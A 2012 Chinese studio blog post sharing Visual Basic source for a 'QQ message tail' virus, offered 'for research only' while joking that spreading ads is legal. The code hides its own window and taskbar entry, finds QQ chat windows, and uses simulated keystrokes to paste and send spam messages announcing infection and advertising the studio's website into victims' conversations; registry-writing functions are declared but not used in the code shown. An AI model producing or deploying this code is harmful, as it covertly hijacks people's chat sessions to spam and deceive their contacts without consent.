易本地工作室-Ebend Software&Network Studio - 群发,采集,管理类软件定制开发服务【易本地工作室】
本工作室提供信息采集,管理,群发类软件定制服务,6年软件定制经验!

QQ消息尾巴(病毒?)VB源码

亲,代码就这么多,很简单,就是利用API查找QQ聊天窗口,然后发送指定消息,仅供研究之用哦!

发发广告神马的应该不犯法吧!

QQ消息尾巴

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long       ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2
Dim j As String
Dim k As String
Dim ii As Integer
Dim e, f As String
Private Declare Function SendInput Lib "user32.dll" (ByVal nInputs As Long, pInputs As GENERALINPUT, ByVal cbSize As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Const WM_GETTEXT = &HD
Const GW_HWNDNEXT = 2
Const SW_RESTORE = 9
Const VK_CONTROL = &H11
Const VK_V = 86
Const VK_RETURN = &HD
Const INPUT_KEYBOARD = 1
Private Type KEYBDINPUT
  wVk As Integer
  wScan As Integer
  dwFlags As Long
  time As Long
  dwExtraInfo As Long
End Type
Private Type GENERALINPUT
  dwType As Long
  xi(0 To 23) As Byte
End Type
Private Sub Form_Load()
Dim a As Long
Dim b As String
Dim c, d As String
Dim e1 As String
Dim e2 As String
Dim f1, f2 As Long
Me.Visible = False
a = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow a, SW_HIDE
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
  List1.Clear
    Dim hwnd As Long
    hwnd = 1
    Dim xx As Integer
    Dim S As String
    Dim str As String
    S = String(512, Chr(0))
    hwnd = FindWindow("TXGuiFoundation", vbNullString)
    '遍历窗口
    While (hwnd)
        GetClassName hwnd, ByVal S, Len(S) '取得窗口的类名
        '如果是QQ程序相关的窗口
        If Left(S, InStr(S, Chr(0)) - 1) = "TXGuiFoundation" Then
            '取得窗口的标题
            SendMessage hwnd, WM_GETTEXT, Len(S), ByVal S
            str = Left(S, InStr(S, Chr(0)) - 1)
            '过滤掉不需要的窗口,剩下的就是聊天窗口了(此处过滤可能不完整,如启动QQ时弹出的新闻框就没有过滤,根据需要修改)
            If Trim(str) <> "" And LCase(Left(Trim(str), 6)) <> "qq2010" And LCase(Left(Trim(str), 6)) <> "qq2009" And LCase(Trim(str)) <> "txfloatingwnd" And LCase(Trim(str)) <> "txmenuwindow" Then
                '将聊天的窗口名称、窗口句柄加入到list1中
                List1.AddItem S, 0
                List1.ItemData(0) = hwnd
            End If
        End If
        hwnd = GetWindow(hwnd, GW_HWNDNEXT)
    Wend
    If List1.ListCount > 0 Then List1.ListIndex = 0
     On Error Resume Next
 ii = ii + 1
If ii = 1111 Then ii = 1
Dim h As Long
Dim i As String
h = GetForegroundWindow()
i = Space(256)
GetWindowText h, i, 255
If Left(i, 1) = "与" And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
End Sub
Sub mer()
If k <> j Then
Clipboard.Clear
Clipboard.SetText "你的电脑已经中了QQ尾巴病毒,嘿嘿!http://www.ebend.net"
keybd_event &H11, 0, 0, 0
keybd_event 86, 0, 0, 0
keybd_event 86, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, 0, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
k = Space(256)
k = j
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
    If List1.ListCount < 1 Then Exit Sub
    '将text1中要发送的内容拷贝到剪贴板
    Clipboard.Clear
    Clipboard.SetText "your system already have infected QQ tail virus!"
    Dim hwnd As Long
    hwnd = 0
    '设置要发送的窗口
    hwnd = List1.ItemData(List1.ListIndex)
    If hwnd = 0 Then Exit Sub
    ShowWindow hwnd, SW_RESTORE '如果窗口最小化,则将其恢复
    SetForegroundWindow hwnd    '置窗口到前台
    '定义发送按键结构变量
    Dim GInput(0 To 3) As GENERALINPUT
    Dim KInput As KEYBDINPUT
    '构造CTRL+V
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = 0
    GInput(0).dwType = INPUT_KEYBOARD
    CopyMemory GInput(0).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_V
    KInput.dwFlags = 0
    GInput(1).dwType = INPUT_KEYBOARD
    CopyMemory GInput(1).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(2).dwType = INPUT_KEYBOARD
    CopyMemory GInput(2).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_V
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(3).dwType = INPUT_KEYBOARD
    CopyMemory GInput(3).xi(0), KInput, Len(KInput)
    SendInput 4, GInput(0), Len(GInput(0))  '发送Ctrl+V
     '构造CTRL+RETURN
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = 0
    GInput(0).dwType = INPUT_KEYBOARD
    CopyMemory GInput(0).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_RETURN
    KInput.dwFlags = 0
    GInput(1).dwType = INPUT_KEYBOARD
    CopyMemory GInput(1).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_CONTROL
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(2).dwType = INPUT_KEYBOARD
    CopyMemory GInput(2).xi(0), KInput, Len(KInput)
    KInput.wVk = VK_RETURN
    KInput.dwFlags = KEYEVENTF_KEYUP
    GInput(3).dwType = INPUT_KEYBOARD
    CopyMemory GInput(3).xi(0), KInput, Len(KInput)
    SendInput 4, GInput(0), Len(GInput(0))  '发送Ctrl+Return
End Sub


标签:QQAPI病毒消息尾巴
分类:源码教程| 发布:adobo| 查看: | 发表时间:2012/12/11
原创文章如转载,请注明:转载自易本地工作室-Ebend Software&Network Studio http://www.ebend.net/
本文链接:http://www.ebend.net/post/QQMessageTail.html

已经有 ( 0 ) 位网友发表了评论,你也评一评吧!